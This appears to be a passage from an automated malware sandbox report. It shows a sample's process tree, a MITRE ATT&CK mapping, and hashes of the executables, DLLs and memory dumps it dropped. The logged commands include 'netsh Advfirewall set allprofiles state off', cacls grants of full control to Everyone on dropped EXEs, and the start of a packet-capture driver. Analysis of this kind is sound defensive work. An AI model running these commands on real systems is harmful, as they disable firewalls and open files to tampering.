  C:\Windows\TEMP\ukehqpqps\aptmwmnjw.exe -accepteula -mp 788 C:\Windows\TEMP\ukehqpqps\788.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:1980
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:100

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start npf
1⤵
PID:4280

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\bbetiyrag\pemykw.exe /p everyone:F
1⤵
PID:5028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1432
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\bbetiyrag\pemykw.exe /p everyone:F
  2⤵
  PID:632

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\qumecin.exe
1⤵
PID:4900

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\bmjrilbg\qumecin.exe /p everyone:F
1⤵
PID:3816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1976
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\bmjrilbg\qumecin.exe /p everyone:F
  2⤵
  PID:2988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\bbetiyrag\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\bbetiyrag\pemykw.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nsbA905.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsbA905.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\ukehqpqps\aptmwmnjw.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\bmjrilbg\qumecin.exe

Filesize
8.2MB

MD5
0468ef5070a9040d5fc982a27bfd5d01

SHA1
5d157eac5e7a935ab15744727829834ac3597709

SHA256
947a54106e371b08c87485af82fa003733d742a323586b93c86475bb60b180da

SHA512
28561b37f4d9c9a34a0e71dd22feee335d4aab7fc0f6cc6e635cfae0140f0ce9127b4a1693bd4daed002a34ae294b8811b178b103850d646f2b31b3b4fd617d3

Download Submit
C:\Windows\bmjrilbg\qumecin.exe

Filesize
5.8MB

MD5
4c0edb40fdc31db10d56e5efc2c1ffb3

SHA1
fc48ab2905cb95be0a9e836df4cbb29953c31041

SHA256
1edea9c381dd2089d9c131ed7a7f1100d0671ac7b8f618ade998e3859a3f8607

SHA512
63b6498e845011d65608725acdd49d838f91e0db03c4e7ad2f8bba7a71027f9aaf195575494162d045b6557448f92a194489b0767377c81b31609b8983347ad6

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\ukehqpqps\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\ukehqpqps\fwygegpgy\utihrhnag.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\ukehqpqps\fwygegpgy\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
memory/1036-7-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/1896-145-0x00007FF7BA3A0000-0x00007FF7BA3FB000-memory.dmp

Filesize
364KB

Download
memory/2652-134-0x00007FF641630000-0x00007FF64171E000-memory.dmp

Filesize
952KB

Download
memory/2652-136-0x00007FF641630000-0x00007FF64171E000-memory.dmp

Filesize
952KB

Download
memory/4184-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/4528-140-0x00007FF66D780000-0x00007FF66D8A0000-memory.dmp

Filesize
1.1MB

Download
memory/4528-147-0x0000023C6E6C0000-0x0000023C6E6D0000-memory.dmp

Filesize
64KB

Download
memory/4528-148-0x00007FF66D780000-0x00007FF66D8A0000-memory.dmp

Filesize
1.1MB

Download
memory/4528-149-0x0000023C6E6E0000-0x0000023C6E6E4000-memory.dmp

Filesize
16KB

Download
memory/5060-77-0x00000000018A0000-0x00000000018EC000-memory.dmp

Filesize
304KB

Download